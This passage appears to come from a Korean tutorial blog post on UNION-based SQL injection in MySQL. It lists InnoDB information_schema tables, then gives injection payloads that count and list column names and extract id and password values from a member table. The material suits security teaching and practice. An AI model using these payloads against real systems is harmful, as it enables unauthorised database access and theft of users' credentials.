36 : INNODB_CMP
37 : INNODB_FT_BEING_DELETED
38 : INNODB_CMP_RESET
39 : INNODB_CMP_PER_INDEX
40 : INNODB_CMPMEM_RESET
41 : INNODB_FT_DELETED
42 : INNODB_BUFFER_PAGE_LRU
43 : INNODB_LOCK_WAITS
44 : INNODB_TEMP_TABLE_INFO
45 : INNODB_SYS_INDEXES
46 : INNODB_SYS_TABLES
47 : INNODB_SYS_FIELDS
48 : INNODB_CMP_PER_INDEX_RESET
49 : INNODB_BUFFER_PAGE
50 : INNODB_FT_DEFAULT_STOPWORD
51 : INNODB_FT_INDEX_TABLE
52 : INNODB_FT_INDEX_CACHE
53 : INNODB_SYS_TABLESPACES
54 : INNODB_METRICS
55 : INNODB_SYS_FOREIGN_COLS
56 : INNODB_CMPMEM
57 : INNODB_BUFFER_POOL_STATS
58 : INNODB_SYS_COLUMNS
59 : INNODB_SYS_FOREIGN
60 : INNODB_SYS_TABLESTATS

๋ณดํ†ต ์ƒˆ๋กœ TABLE์„ ์ƒ์„ฑํ•˜๋Š” ๊ฒฝ์šฐ ์œ„์˜ TABLE๋“ค ๋’ค์— ์ƒ์„ฑ๋œ๋‹ค.

๊ทธ๋Ÿฌ๋ฏ€๋กœ ๊ฐœ์ˆ˜๋ฅผ ์•Œ์•˜๋‹ค๋ฉด limit๋ฅผ ๋’ค์—์„œ๋ถ€ํ„ฐ ์ค„์—ฌ๊ฐ€๋ฉฐ ์„ธ์–ด์ฃผ๋Š”๊ฒŒ ์ข‹์„ ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.

 

[6] Column ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์œ„์—์„œ ์–ด๋–ค DB, TABLE์ด ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜์˜€๊ธฐ ๋•Œ๋ฌธ์— ์ด์ œ ์–ด๋–ค Column์ด ์กด์žฌํ•˜๋Š”์ง€ ์•Œ์•„๋‚ผ ์ฐจ๋ก€์ด๋‹ค.

select column_name from information_schema.columns where table_name = 'table_name'

information_schema.columns

  • ์–ด๋–ค Column์ด ๋“ค์–ด์žˆ๋Š”์ง€์— ๋Œ€ํ•œ ์ •๋ณด
' union select 1,count(column_name),3,4 from information_schema.columns where table_name = 'table_name' #

์œ„์™€๊ฐ™์ด ์ด ๋˜ํ•œ ๊ฐœ์ˆ˜๋ฅผ ์„ธ์ฃผ๊ณ  ๋„˜์–ด๊ฐ€ ๋ฒ„๋ฆ‡ํ•˜์ž!

' union select 1,column_name,3,4 from information_schema.columns where table_name = 'table_name' #

์ด๊ฒƒ์œผ๋กœ ์–ด๋–ค ์ปฌ๋Ÿผ(Column)๋“ค์ด ์žˆ๋Š”์ง€ ๊นŒ์ง€ ํ™•์ธ์„ ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

[7] ๋ฐ์ดํ„ฐ ์ถœ๋ ฅํ•˜๊ธฐ

์ด์ œ ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•˜๊ธฐ ์œ„ํ•œ ์ค€๋น„๊ฐ€ ๋๋‚ฌ๋‹ค.

ex) ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ๊ฐ€ member ํ…Œ์ด๋ธ”์˜ id์™€ pw๋ผ๋ฉด?

' union select 1,id,pass,4 from member #

์œ„์™€ ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•˜์—ฌ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค.

 


์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜